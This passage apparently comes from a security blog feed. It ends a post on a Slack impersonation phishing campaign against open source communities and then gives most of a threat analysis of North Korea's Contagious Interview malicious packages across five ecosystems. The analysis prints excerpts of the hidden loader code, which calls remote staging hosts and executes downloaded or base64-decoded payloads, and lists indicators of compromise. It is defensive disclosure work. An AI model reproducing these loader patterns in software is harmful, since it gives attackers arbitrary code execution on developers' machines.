OpenSSF Siren mailing list. The attacker impersonates a known Linux Foundation community leader to lure victims into a multi-stage attack that ends with malware delivery and potential full system compromise.</p><p><a href=\"https://lists.openssf-vuln.org/g/siren/\"  target=\"_blank\">OpenSSF Siren</a> is a public threat intelligence mailing list run by the Open Source Security Foundation (OpenSSF), a Linux Foundation project. It was created to fill a gap that became visible after incidents like the XZ Utils backdoor: the open source community had ways to coordinate on vulnerability disclosure, but no centralized channel for sharing active threat intelligence with the broader downstream audience, including security researchers and developers who aren&#x27;t plugged into upstream communication channels.</p><p>Siren is post-disclosure by design. It covers active threats and attack patterns after initial coordination has occurred, distributing indicators of compromise, tactics, and response guidance to the people who need it. </p><p>The latest advisory was authored by Christopher &quot;CRob&quot; Robinson, CTO and Chief Security Architect at OpenSSF.</p><h2 id=\"A-Multi-Stage-Attack-Built-on-Impersonation-and-Credential-Theft\">\n  A Multi-Stage Attack Built on Impersonation and Credential Theft\n  <a href=\"#A-Multi-Stage-Attack-Built-on-Impersonation-and-Credential-Theft\" class=\"anchor\">#</a>\n</h2><p>The attack targeted the Slack workspace of the TODO Group, a Linux Foundation working group for open source program office (OSPO) practitioners, and related communities. In the reported incident, the attacker posed as a well-known Linux Foundation community leader and sent a message directing the target to follow a link:</p><p><code>https://sites.google.com/view/workspace-business/join</code></p><p>The URL uses Google Sites infrastructure to appear legitimate, but clicking it takes the victim through a fake authentication flow that harvests their email address and a verification code. After credential collection, the site instructs the victim to install a &quot;Google certificate,&quot; which is in fact a malicious root certificate.</p><p>From there, the attack diverges by platform. On macOS, a script downloads and executes a binary called <code>gapi</code> from a remote IP address (<code>2.26.97.61</code>). On Windows, the victim is prompted to install the malicious certificate through a browser trust dialog. In both cases, the certificate enables interception of encrypted traffic. On macOS, executing the binary may result in full system compromise.</p><p>The full attack chain involves four stages: impersonation, phishing, credential harvesting, and malware delivery.</p><h2 id=\"Inside-the-Lure\">\n  Inside the Lure\n  <a href=\"#Inside-the-Lure\" class=\"anchor\">#</a>\n</h2><p>A Socket engineer who is a member of the TODO Group Slack received a direct message from the attacker&#x27;s account. The attacker, posing as a Linux Foundation community leader, used an AI tool pitch as the lure: claiming to be working on a private tool that analyzes open source project dynamics and could predict which contributions would get merged before any review occurred. The pitch emphasized exclusivity, telling the recipient the team was &quot;only sharing this with a few people for now.&quot;</p><img\n  alt=\" \"\n  loading=\"lazy\"\n  src=\"https://cdn.sanity.io/images/cgdhsj6q/production/600fca4508336fa9a5ddefed6f6841a9474e1d7d-1179x1957.png?w=1600&q=95&fit=max&auto=format\"\n/><img\n  alt=\" \"\n  loading=\"lazy\"\n  src=\"https://cdn.sanity.io/images/cgdhsj6q/production/cc2ef876a711d1ec23bedcf5a30999a07cfaffd3-1179x1474.png?w=1600&q=95&fit=max&auto=format\"\n/><p>The message included the exact phishing URL from the advisory (<code>https://sites.google.com/view/workspace-business/join</code>), along with a fake email address (<code>cra@nmail.biz</code>) and an access key (<code>CDRX-NM71E8T</code>) designed to make the fake workspace flow appear legitimate.</p><p>The account has since been deactivated, consistent with TODO Group admins removing it after the advisory circulated, which is why the username appears as &quot;deactivateduser.&quot;</p><h2 id=\"Weaponizing-Developer-Trust-in-Open-Source-Community-Channels\">\n  Weaponizing Developer Trust in Open Source Community Channels\n  <a href=\"#Weaponizing-Developer-Trust-in-Open-Source-Community-Channels\" class=\"anchor\">#</a>\n</h2><p>The campaign exploits the trust relationships that make open source communities function. Developers in communities like the TODO Group are accustomed to receiving outreach from recognized names, including project leads, foundation staff, and community organizers. An attacker who can convincingly impersonate one of those figures has a significant social advantage before a single malicious link is clicked.</p><p>The use of Google Sites for the phishing page is deliberate. The domain (<code>sites.google.com</code>) is legitimate infrastructure, which means it will pass casual inspection and may bypass some security filters. The fake certificate prompt is also designed to look routine, framed as a workspace configuration step rather than a security risk.</p><p>Last week, we reported on a coordinated <a href=\"https://socket.dev/blog/attackers-hunting-high-impact-nodejs-maintainers\"  target=\"_blank\">campaign targeting high-impact Node.js maintainers</a>, including the leads of Fastify, Lodash, dotenv, and Node.js core itself, as well as several Socket engineers. The attackers are using the same social engineering playbook that compromised Axios, and Mandiant researchers have linked this campaign to a DPRK-nexus threat actor. Whether that campaign and this one share any connection is unknown, but there&#x27;s a clear trend towards open source maintainers being targeted through the platforms and relationships they rely on to do their work.</p><h2 id=\"How-to-Protect-Yourself-If-You're-Active-in-Open-Source-Slack-Communities\">\n  How to Protect Yourself If You&#x27;re Active in Open Source Slack Communities\n  <a href=\"#How-to-Protect-Yourself-If-You're-Active-in-Open-Source-Slack-Communities\" class=\"anchor\">#</a>\n</h2><p>The OpenSSF advisory recommends the following for anyone active in Linux Foundation Slack communities or similar spaces:</p><p><strong>Verify identities out of band.</strong> Do not trust a Slack message based on name or profile photo alone. If someone you recognize sends an unusual request, confirm it through a separate, known communication channel before acting.</p><p><strong>Do not install certificates from links.</strong> Legitimate services do not ask users to manually install root certificates. Any such request should be treated as malicious unless explicitly verified by your organization&#x27;s IT team.</p><p><strong>Do not execute downloaded binaries or scripts.</strong> This includes any file received via Slack or from a website you were directed to through a message. Avoid running commands that download and execute code, such as <code>curl | bash</code> patterns.</p><p><strong>Treat unexpected security prompts as suspicious.</strong> Messages about expired certificates or urgent authentication requirements should be independently verified before acting on them.</p><p><strong>If you may have been affected</strong>, the advisory recommends disconnecting from the network immediately, removing any newly installed certificates, running endpoint security scans, rotating all credentials (GitHub, SSH keys, cloud access), and revoking active sessions and tokens.</p><h2 id=\"Enabling-MFA\">\n  Enabling MFA\n  <a href=\"#Enabling-MFA\" class=\"anchor\">#</a>\n</h2><p>The advisory also recommends enabling multi-factor authentication on all developer and collaboration accounts. This will not stop impersonation-based attacks, but it limits the blast radius if credentials are harvested.</p><p><em>Indicators of compromise: phishing URL <code>https://sites.google.com/view/workspace-business/join</code>, fake email <code>cra@nmail.biz</code>, access key <code>CDRX-NM71E8T</code>, remote IP <code>2.26.97.61</code>, macOS binary named <code>gapi</code>.</em></p>","summary":"OpenSSF has issued a high-severity advisory warning open source developers of an active Slack-based campaign using impersonation to deliver malware.","image":"https://cdn.sanity.io/images/cgdhsj6q/production/1736cbd7c48de83b8222724a02589059c39a1ddc-1024x1024.png?w=1000&q=95&fit=max&auto=format","banner_image":"https://cdn.sanity.io/images/cgdhsj6q/production/1736cbd7c48de83b8222724a02589059c39a1ddc-1024x1024.png?w=1000&q=95&fit=max&auto=format","date_published":"2026-04-08T18:36:46.457Z","author":{"name":"Sarah Gooding"},"tags":["Security News"]},{"id":"https://socket.dev/blog/contagious-interview-campaign-spreads-across-5-ecosystems","url":"https://socket.dev/blog/contagious-interview-campaign-spreads-across-5-ecosystems?utm_medium=feed","title":"North Korea’s Contagious Interview Campaign Spreads Across 5 Ecosystems, Delivering Staged RAT Payloads","content_html":"<p>We have been tracking North Korea’s Contagious Interview operation since 2024 and maintain a dedicated <a href=\"https://socket.dev/supply-chain-attacks/north-korea-s-contagious-interview-campaign\"  target=\"_blank\">campaign page</a> that now tracks more than 1,700 malicious packages linked to the activity. In this newly identified cluster, the threat actors operated under GitHub aliases including <code>golangorg</code> and published malicious packages across five open source ecosystems:</p><ol><li>npm: <a href=\"https://socket.dev/npm/package/dev-log-core\"  target=\"_blank\"><code>dev-log-core</code></a>, <a href=\"https://socket.dev/npm/package/logger-base\"  target=\"_blank\"><code>logger-base</code></a>, <a href=\"https://socket.dev/npm/package/logkitx\"  target=\"_blank\"><code>logkitx</code></a></li><li>PyPI: <a href=\"https://socket.dev/pypi/package/logutilkit\"  target=\"_blank\"><code>logutilkit</code></a>, <a href=\"https://socket.dev/pypi/package/apachelicense\"  target=\"_blank\"><code>apachelicense</code></a>, <a href=\"https://osv.dev/vulnerability/MAL-2026-2244\"  target=\"_blank\"><code>fluxhttp</code></a>, and <a href=\"https://socket.dev/pypi/package/license-utils-kit\"  target=\"_blank\"><code>license-utils-kit</code></a></li><li>Go Modules: <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash\"  target=\"_blank\"><code>github[.]com/golangorg/formstash</code></a></li><li>Rust’s <a href=\"http://crates.io\"  target=\"_blank\">crates.io</a>: <a href=\"https://socket.dev/cargo/package/logtrace\"  target=\"_blank\"><code>logtrace</code></a></li><li>Packagist: <a href=\"https://socket.dev/composer/package/golangorg/logkit\"  target=\"_blank\"><code>golangorg/logkit</code></a></li></ol><p>The threat actor’s packages were designed to impersonate legitimate developer tooling (such as <a href=\"https://socket.dev/npm/package/debug\"  target=\"_blank\"><code>debug</code></a>, <a href=\"https://socket.dev/npm/package/debug-logfmt\"  target=\"_blank\"><code>debug-logfmt</code></a>, <a href=\"https://socket.dev/npm/package/pino-debug\"  target=\"_blank\"><code>pino-debug</code></a>, <a href=\"https://socket.dev/go/package/github.com/xis/baraka\"  target=\"_blank\"><code>baraka</code></a>, <a href=\"https://socket.dev/pypi/package/license\"  target=\"_blank\"><code>license</code></a>, <a href=\"https://socket.dev/pypi/package/http\"  target=\"_blank\"><code>http</code></a>, <a href=\"https://socket.dev/cargo/package/libprettylogger\"  target=\"_blank\"><code>libprettylogger</code></a>, and <a href=\"https://socket.dev/composer/package/openlss/func-log\"  target=\"_blank\"><code>openlss/func-log</code></a>), while quietly functioning as malware loaders, extending Contagious Interview’s established playbook into a coordinated cross-ecosystem supply chain operation.</p><p>The infrastructure, package construction, staging logic, and use of fake developer tooling are all consistent with Contagious Interview’s established tradecraft. Across the cluster, the loaders retrieve a <code>downloadUrl</code> from threat actor-controlled infrastructure, rewrite Google Drive sharing links into direct-download form, fetch ZIP archives such as <code>ecw_update.zip</code>, and deliver platform-specific second-stage payloads. Our analysis ties the activity to infrastructure including <code>apachelicense[.]vercel[.]app</code>, <code>ngrok-free[.]vercel[.]app</code>, <code>logkit.onrender[.]com</code>, <code>logkit-tau[.]vercel[.]app</code>, <code>66[.]45[.]225[.]94</code>, and Google Drive-based delivery patterns.</p><p>The primary objective appears to be a RAT-enabled infostealer operation focused on stealing credentials, browser data, password-manager contents, and cryptocurrency wallet data. But the Windows-heavy variant <a href=\"https://socket.dev/pypi/package/license-utils-kit\"  target=\"_blank\"><code>license-utils-kit</code></a> goes further: it bundles a full post-compromise implant with capabilities consistent with remote shell execution, keylogging, browser and wallet theft, sensitive-file collection, encrypted archiving, and remote-access deployment. That makes this cluster notable not just for its cross-ecosystem reach, but for the depth of post-compromise functionality embedded in at least part of the campaign.</p><p>On PyPI packages, public <a href=\"https://bad-packages.kam193.eu/pypi/campaign/2026-03-license-utils-kit/#tag:campaign2026-03-license-utils-kit\"  target=\"_blank\">reporting</a> from Bad Packages also surfaced second-stage evidence hashes <code>9a541dffb7fc18dc71dbc8523ec6c3a71c224ffeb518ae3a8d7d16377aebee58</code> and <code>bb2a89001410fa5a11dea6477d4f5573130261badc67fe952cfad1174c2f0edd</code>, while Zscaler <a href=\"https://twitter.com/Threatlabz/status/2039787684286333301\"  target=\"_blank\">identified</a> an additional Python-based RAT payload with SHA-256 <code>7c5adef4b5aee7a4aa6e795a86f8b7d601618c3bc003f1326ca57d03ec7d6524</code>.</p><p>We reported all identified live malicious packages to the affected registries and submitted takedown requests for the associated GitHub accounts. Some have already been taken down, while others remained live at the time of writing. This malicious cluster reinforces our prior <a href=\"https://socket.dev/blog/north-korea-contagious-interview-campaign-338-malicious-npm-packages\"  target=\"_blank\">reporting</a> that Contagious Interview is a well-resourced, prolific, and systematic factory-model supply chain threat that treats npm, PyPI, and VS Code as renewable initial access channels into developer environments and, based on our current investigation, extends that same playbook to Go Modules, <a href=\"http://crates.io\"  target=\"_blank\">crates.io</a>, and Packagist.</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/003bd2a8b98fbf12a3944a8e13db16760f5c8efd-1739x631.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>Screenshot of the threat actor’s <code>golangorg</code> GitHub account showing the current public repositories tied to the cluster we investigated. At the time of capture, the account hosted <code>log-base</code>, <code>dev-log</code>, and <code>logger-base</code> (linked to the malicious npm loader line anchored by <a href=\"https://socket.dev/npm/package/dev-log-core\"  target=\"_blank\"><code>dev-log-core</code></a>); <code>logutilkit</code> (malicious PyPI package <a href=\"https://socket.dev/pypi/package/logutilkit\"  target=\"_blank\"><code>logutilkit</code></a>); <code>formstash</code> (malicious Go module <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash\"  target=\"_blank\"><code>github[.]com/golangorg/formstash</code></a>); and <code>logkit</code> (malicious Packagist package <a href=\"https://socket.dev/composer/package/golangorg/logkit\"  target=\"_blank\"><code>golangorg/logkit</code></a>). The malicious Rust crate <a href=\"https://socket.dev/cargo/package/logtrace\"  target=\"_blank\"><code>logtrace</code></a> is also tied to the same GitHub account and persona. Together, these packages show the operation spanning JavaScript, Python, Go, Rust, and PHP from a single alias.</em></p></figcaption>\n</figure><h2 id=\"The-Loader-Pattern-Repeats-Across-Ecosystems\">\n  The Loader Pattern Repeats Across Ecosystems\n  <a href=\"#The-Loader-Pattern-Repeats-Across-Ecosystems\" class=\"anchor\">#</a>\n</h2><p>Most of these packages follow the same loader workflow. They contact <code>https://apachelicense.vercel.app/getAddress?platform=&lt;platform&gt;</code> with an HTTP <code>POST</code>, parse a JSON <code>downloadUrl</code>, download a zip archive, extract it into a temp directory, find a platform-specific payload, and execute it. They repeatedly reuse the same constants, paths, and filenames, including <code>ecw_update.zip</code>, the extraction directory <code>410BB449A-72C6-4500-9765-ACD04JBV827V32V</code>, and Unix-like payload names such as <code>com.apple.systemevents</code> and <code>systemd-resolved</code>.</p><h3>Hiding Malware Behind Routine APIs</h3><p>The most consistent tradecraft is where the malware sits. The threat actors did not generally rely on install-time execution. Instead, the malicious path is hidden behind a function that looks normal for the package’s claimed purpose.</p><p>In <a href=\"https://socket.dev/pypi/package/logutilkit/files/1.0.1/tar-gz/logutilkit-1.0.1/logutilkit/logger.py#L80\"  target=\"_blank\"><code>logutilkit</code></a>, the trigger sits in the generic logger method. Here and below, the code snippets are taken directly from the analyzed packages, with our inline comments added and sensitive indicators defanged where appropriate.</p><pre><code class=\"hljs python\"><span class=\"hljs-keyword\">def</span> <span class=\"hljs-title function_\">log</span>(<span class=\"hljs-params\">self, level, msg, *args, **kwargs</span>):\n    logutilkit_util.check_for_updates(level)  <span class=\"hljs-comment\"># Hidden staged loader</span>\n    <span class=\"hljs-variable language_\">self</span>.logger.log(level, msg, *args, **kwargs)</code></pre><p>In <a href=\"https://socket.dev/pypi/package/apachelicense/files/0.1a1/tar-gz/apachelicense-0.1a1/apachelicense/core.py#L83\"  target=\"_blank\"><code>apachelicense</code></a> and <a href=\"https://socket.dev/pypi/package/license-utils-kit/files/0.1rc3/tar-gz/license-utils-kit-0.1rc3/license_utils_kit/core.py#L83\"  target=\"_blank\"><code>license-utils-kit</code></a>, the trigger is hidden in <code>find_by_key()</code>, a believable helper name for a license library:</p><pre><code class=\"hljs python\"><span class=\"hljs-keyword\">def</span> <span class=\"hljs-title function_\">find_by_key</span>(<span class=\"hljs-params\">key, value, multiple=<span class=\"hljs-literal\">True</span></span>):\n    <span class=\"hljs-keyword\">if</span> sys.platform == <span class=\"hljs-string\">&#x27;win32&#x27;</span>:\n        ...\n        cmd = [python_exe, script_path, <span class=\"hljs-string\">&#x27;-t&#x27;</span>, <span class=\"hljs-built_in\">str</span>(value)]\n        proc = subprocess.Popen(cmd, **popen_kwargs)\n        <span class=\"hljs-comment\"># Hidden subprocess launch from a license lookup helper</span>\n    <span class=\"hljs-keyword\">else</span>:\n        custom_util.check_for_updates(value)\n        <span class=\"hljs-comment\"># Linux/macOS trigger the shared loader</span></code></pre><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/da9ee7c9ce68462f5522a3bd3ca55598e55301c7-1298x568.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>Socket AI Scanner’s analysis of the malicious <code>apachelicense</code> package shows a high-confidence malicious package detection. Our review found the trigger hidden in <a href=\"https://socket.dev/pypi/package/apachelicense/files/0.1a1/tar-gz/apachelicense-0.1a1/apachelicense/core.py\"  target=\"_blank\"><code>apachelicense/core.py</code></a>’s <code>find_by_key()</code> function, which hands execution to a staged loader in <a href=\"https://socket.dev/pypi/package/apachelicense/files/0.1a1/tar-gz/apachelicense-0.1a1/apachelicense/custom_util.py\"  target=\"_blank\"><code>custom_util.py</code></a> that contacts <a href=\"https://socket.dev/pypi/package/apachelicense/files/0.1a1/tar-gz/apachelicense-0.1a1/apachelicense/custom_util.py#L28\"  target=\"_blank\"><code>apachelicense[.]vercel[.]app</code></a>, retrieves a <a href=\"https://socket.dev/pypi/package/apachelicense/files/0.1a1/tar-gz/apachelicense-0.1a1/apachelicense/custom_util.py#L72\"  target=\"_blank\"><code>downloadUrl</code></a>, downloads <a href=\"https://socket.dev/pypi/package/apachelicense/files/0.1a1/tar-gz/apachelicense-0.1a1/apachelicense/custom_util.py#L221\"  target=\"_blank\"><code>ecw_update.zip</code></a>, and launches platform-specific payloads.</em></p></figcaption>\n</figure><p>In <a href=\"https://socket.dev/cargo/package/logtrace\"  target=\"_blank\"><code>logtrace</code></a>, the malicious code sits in <a href=\"https://socket.dev/cargo/package/logtrace/files/1.0.2/logtrace-1.0.2/src/lib.rs#L72\"  target=\"_blank\"><code>Logger::trace(i32)</code></a>, a method name that looks perfectly normal in a logging crate:</p><pre><code class=\"hljs rust\"><span class=\"hljs-keyword\">pub</span> <span class=\"hljs-keyword\">fn</span> <span class=\"hljs-title function_\">trace</span>(&amp;<span class=\"hljs-keyword\">self</span>, t_value: <span class=\"hljs-type\">i32</span>) {\n    <span class=\"hljs-keyword\">const</span> EXTRACT_DIR: &amp;<span class=\"hljs-type\">str</span> = <span class=\"hljs-string\">&quot;410BB449A-72C6-4500-9765-ACD04JBV827V32V&quot;</span>;\n\n    <span class=\"hljs-keyword\">fn</span> <span class=\"hljs-title function_\">get_api_url</span>() <span class=\"hljs-punctuation\">-&gt;</span> <span class=\"hljs-type\">String</span> {\n        <span class=\"hljs-built_in\">format!</span>(\n            <span class=\"hljs-string\">&quot;https://apachelicense[.]vercel[.]app/getAddress?platform={}&quot;</span>,\n            <span class=\"hljs-title function_ invoke__\">get_platform</span>().<span class=\"hljs-title function_ invoke__\">api_value</span>()\n        )\n        <span class=\"hljs-comment\">// Shared staging endpoint</span>\n    }</code></pre><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/d6b6273a5279b91811fd671e5e4b6ebd476099a8-1028x486.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>This screenshot shows the <code>logtrace</code> crate while it was still live on <a href=\"http://crates.io\"  target=\"_blank\">crates.io</a> under the <code>golangorg</code> persona; our analysis found that its <code>Logger::trace(i32)</code> method hid a staged loader, and after we reported it, the <a href=\"http://crates.io\"  target=\"_blank\">crates.io</a> security team promptly <a href=\"https://rustsec.org/advisories/RUSTSEC-2026-0081.html\"  target=\"_blank\">removed</a> both the malicious crate and the associated account. We thank the <a href=\"http://crates.io\"  target=\"_blank\">crates.io</a> team for their swift action.</em></p></figcaption>\n</figure><p>In <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash\"  target=\"_blank\"><code>github[.]com/golangorg/formstash</code></a>, the module is mostly a real multipart parser, but it also exposes a malicious <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash?section=files&version=v1.0.5&path=parser.go#L449\"  target=\"_blank\">helper</a> that has no place in that codebase:</p><pre><code class=\"hljs golang\"><span class=\"hljs-function\"><span class=\"hljs-keyword\">func</span> <span class=\"hljs-title\">CheckForUpdates</span><span class=\"hljs-params\">(tValue <span class=\"hljs-type\">int</span>)</span></span> <span class=\"hljs-type\">bool</span> {\n    zipPath := filepath.Join(os.TempDir(), <span class=\"hljs-string\">&quot;ecw_update.zip&quot;</span>)\n    ...\n    <span class=\"hljs-keyword\">if</span> getPlatform() == <span class=\"hljs-string\">&quot;py&quot;</span> {\n        ...\n        cmd := exec.Command(pyPath, <span class=\"hljs-string\">&quot;-c&quot;</span>, <span class=\"hljs-type\">string</span>([]<span class=\"hljs-type\">byte</span>(decodedStr)))\n        <span class=\"hljs-comment\">// Executes threat actor-supplied decoded code</span>\n    } <span class=\"hljs-keyword\">else</span> {\n        execute(target, tValue)\n    }\n    <span class=\"hljs-keyword\">return</span> <span class=\"hljs-literal\">true</span>\n}</code></pre><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/ecaf7f06beaa018fe3c19f247572cfef86d79990-1790x625.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>This screenshot shows the malicious <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash\"  target=\"_blank\"><code>github[.]com/golangorg/formstash</code></a> Go module while it was still listed as a legitimate multipart parsing library; our analysis found that <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash?section=files&version=v1.0.5&path=parser.go\"  target=\"_blank\"><code>parser.go</code></a> also exposed an unrelated <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash?section=files&version=v1.0.5&path=parser.go#L449\"  target=\"_blank\"><code>CheckForUpdates(int)</code></a> helper that contacted <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash?section=files&version=v1.0.5&path=parser.go#L82\"  target=\"_blank\"><code>apachelicense[.]vercel[.]app</code></a>, downloaded <a href=\"https://socket.dev/go/package/github.com/golangorg/formstash?section=files&version=v1.0.5&path=parser.go#L450\"  target=\"_blank\"><code>ecw_update.zip</code></a>, and launched platform-specific payloads, illustrating how the threat actor hid a staged loader inside an otherwise functional package. After our report, the Go Security team blocked this and the associated malicious Go modules we identified; we thank them for their swift action in helping keep the Go ecosystem safe.</em></p></figcaption>\n</figure><p></p><p>The identified PHP package <a href=\"https://socket.dev/composer/package/golangorg/logkit\"  target=\"_blank\"><code>golangorg/logkit</code></a> extends the same loader family into Packagist. It presents itself as a lightweight logging library, and <a href=\"https://socket.dev/composer/package/golangorg/logkit/files?version=dev-main&path=golangorg-logkit-48a7418%2Ffunc%2Flog.php#L10\"  target=\"_blank\"><code>write_log()</code></a> performs real logging, but the hidden malicious path sits in the undocumented helper <a href=\"https://socket.dev/composer/package/golangorg/logkit/files?version=dev-main&path=golangorg-logkit-48a7418%2Ffunc%2Flog.php#L251\"  target=\"_blank\"><code>log_level($tag=1)</code></a>. That function contacts <a href=\"https://socket.dev/composer/package/golangorg/logkit/files?version=dev-main&path=golangorg-logkit-48a7418%2Ffunc%2Flog.php#L65\"  target=\"_blank\"><code>apachelicense[.]vercel[.]app</code></a>, retrieves a JSON <a href=\"https://socket.dev/composer/package/golangorg/logkit/files?version=dev-main&path=golangorg-logkit-48a7418%2Ffunc%2Flog.php#L101\"  target=\"_blank\"><code>downloadUrl</code></a>, downloads a zip archive, rewrites Google Drive links into direct-download form, extracts a platform-specific payload, and executes it. On Windows, it goes further by fetching an additional encoded stage from <a href=\"https://socket.dev/composer/package/golangorg/logkit/files?version=dev-main&path=golangorg-logkit-48a7418%2Ffunc%2Flog.php#L270\"  target=\"_blank\"><code>apachelicense[.]vercel[.]app/getAddress?platform=logmain&amp;id=LOG</code></a>, decoding it, and launching it with <a href=\"https://socket.dev/composer/package/golangorg/logkit/files?version=dev-main&path=golangorg-logkit-48a7418%2Ffunc%2Flog.php#L291\"  target=\"_blank\"><code>-c</code></a>. That places the PHP package in the same broader staged-loader cluster observed in the Python, Go, and Rust samples.</p><p>This pattern makes the packages harder to spot during casual review. The malware is not hidden behind an obviously suspicious entrypoint. It is hidden behind routine-looking application logic.</p><pre><code class=\"hljs php\"><span class=\"hljs-function\"><span class=\"hljs-keyword\">function</span> <span class=\"hljs-title\">log_check</span>(<span class=\"hljs-params\"></span>)\n</span>{\n    <span class=\"hljs-keyword\">return</span> <span class=\"hljs-string\">&#x27;https://apachelicense[.]vercel[.]app/getAddress?platform=&#x27;</span> . <span class=\"hljs-title function_ invoke__\">log_get_info</span>();\n    <span class=\"hljs-comment\">// Shared staging endpoint</span>\n}\n\n<span class=\"hljs-function\"><span class=\"hljs-keyword\">function</span> <span class=\"hljs-title\">log_level</span>(<span class=\"hljs-params\"><span class=\"hljs-variable\">$tag</span>=<span class=\"hljs-number\">1</span></span>)\n</span>{\n    <span class=\"hljs-variable\">$zippath</span> = <span class=\"hljs-title function_ invoke__\">log_tempdir</span>().<span class=\"hljs-string\">&#x27;/logbundle_tmp.zip&#x27;</span>;\n    ...\n    <span class=\"hljs-variable\">$url</span> = <span class=\"hljs-title function_ invoke__\">log_get_meta</span>();\n    <span class=\"hljs-keyword\">if</span>(<span class=\"hljs-variable\">$url</span>===<span class=\"hljs-literal\">null</span>) <span class=\"hljs-keyword\">return</span> <span class=\"hljs-literal\">false</span>;\n    ...\n}</code></pre><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/0f18a3430ec11604fc2f8b81e338deedaf9be50d-1044x360.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>This screenshot shows the Packagist alias <code>aokisasakidev</code> while its PHP package set was still live; our analysis found that <a href=\"https://socket.dev/composer/package/golangorg/logkit/overview?version=dev-main\"  target=\"_blank\"><code>golangorg/logkit</code></a> was a staged malware loader that reused the structure and metadata of <a href=\"https://socket.dev/composer/package/openlss/func-log\"  target=\"_blank\"><code>openlss/func-log</code></a>, extending the same cross-ecosystem campaign into Packagist.</em></p></figcaption>\n</figure><h2 id=\"The-npm-Packages-Use-a-Different-Loader\">\n  The npm Packages Use a Different Loader\n  <a href=\"#The-npm-Packages-Use-a-Different-Loader\" class=\"anchor\">#</a>\n</h2><p>Instead of downloading and extracting a zip archive, the npm packages (e.g. <a href=\"https://socket.dev/npm/package/dev-log-core\"  target=\"_blank\"><code>dev-log-core</code></a>) <a href=\"https://socket.dev/npm/package/dev-log-core/files/1.0.5/src/common.js#L210\"  target=\"_blank\">fetch</a> a base64-encoded JavaScript payload and execute it in memory.</p><pre><code class=\"hljs javascript\">constresponseData=awaitresponse.<span class=\"hljs-title function_\">json</span>();\nconstencodedMessage=responseData.<span class=\"hljs-property\">message</span>; <span class=\"hljs-comment\">// Server supplies the payload</span>\nconstdecodedCode=<span class=\"hljs-title class_\">Buffer</span>.<span class=\"hljs-title function_\">from</span>(encodedMessage,<span class=\"hljs-string\">&#x27;base64&#x27;</span>).<span class=\"hljs-title function_\">toString</span>(<span class=\"hljs-string\">&#x27;utf8&#x27;</span>);\n\nconstdebugFunction=<span class=\"hljs-title function_\">newFunction</span>(<span class=\"hljs-string\">&#x27;require&#x27;</span>,decodedCode)(<span class=\"hljs-built_in\">require</span>);\n<span class=\"hljs-comment\">// Executes threat actor-controlled JavaScript with access to require()</span></code></pre><p>That makes most of the npm packages in the cluster materially different from the Python, Go, Rust, and PHP staged loaders. Their infrastructure also varies across versions, including <code>ngrok-free[.]vercel[.]app</code>, <code>logkit[.]onrender[.]com</code>, and <code>logkit-tau[.]vercel[.]app</code>. Even so, the underlying idea is the same: hide a remotely controlled loader behind a plausible library API.</p><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/5f3a445e3b21d84636ddb8697b2ad6015e812086-562x688.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>Socket AI Scanner’s analysis of the malicious <code>dev-log-core</code> package identifies a hidden remote code loader in <a href=\"https://socket.dev/npm/package/dev-log-core/files/1.0.5/src/common.js\"  target=\"_blank\"><code>src/common.js</code></a>: when <a href=\"https://socket.dev/npm/package/dev-log-core/files/1.0.5/src/common.js#L163\"  target=\"_blank\"><code>enable(namespaces)</code></a> runs, it sends a <code>POST</code> request to <a href=\"https://socket.dev/npm/package/dev-log-core/files/1.0.5/src/common.js#L182\"  target=\"_blank\"><code>logkit-tau[.]vercel[.]app</code></a>, decodes a base64 <a href=\"https://socket.dev/npm/package/dev-log-core/files/1.0.5/src/common.js#L216\"  target=\"_blank\"><code>message</code></a> field from the response, and executes it with <a href=\"https://socket.dev/npm/package/dev-log-core/files/1.0.5/src/common.js#L218\"  target=\"_blank\"><code>new Function(...)</code></a>, giving the remote service arbitrary code execution inside the consuming Node.js process.</em></p></figcaption>\n</figure><figure>\n  <img\n    alt=\" \"\n    loading=\"lazy\"\n    src=\"https://cdn.sanity.io/images/cgdhsj6q/production/c335f1802916e72b7321d79f02251438b1e94dfc-909x595.png?w=1600&q=95&fit=max&auto=format\"\n  />\n  <figcaption><p><em>This screenshot shows the npm persona <code>aokisasakidev1</code> while its package set was still live; our analysis linked <code>dev-log-core</code> to the same malicious cluster, while <code>logger-base</code> and <code>logkitx</code> appeared to be sleeper packages (i.e. code published in advance under the same developer-tool disguise, but not yet carrying an active malicious payload at the time of analysis).</em></p></figcaption>\n</figure><h2 id=\"The-Windows-Heavy-Variant-Goes-Further\">\n  The Windows-Heavy Variant Goes Further\n  <a href=\"#The-Windows-Heavy-Variant-Goes-Further\" class=\"anchor\">#</a>\n</h2><p><a href=\"https://socket.dev/pypi/package/license-utils-kit\"  target=\"_blank\"><code>license-utils-kit</code></a> is the most capable package in the set. On Linux and macOS it still follows the familiar <code>apachelicense[.]vercel[.]app</code> zip-staging workflow. On Windows, however, it ships much more than a thin loader. It bundles <a href=\"https://socket.dev/pypi/package/license-utils-kit/files/0.1rc3/tar-gz/license-utils-kit-0.1rc3/license_utils_kit/pay1.py\"  target=\"_blank\">obfuscated</a> components that, once deobfuscated, reveal browser theft, wallet theft, sensitive-file collection, and 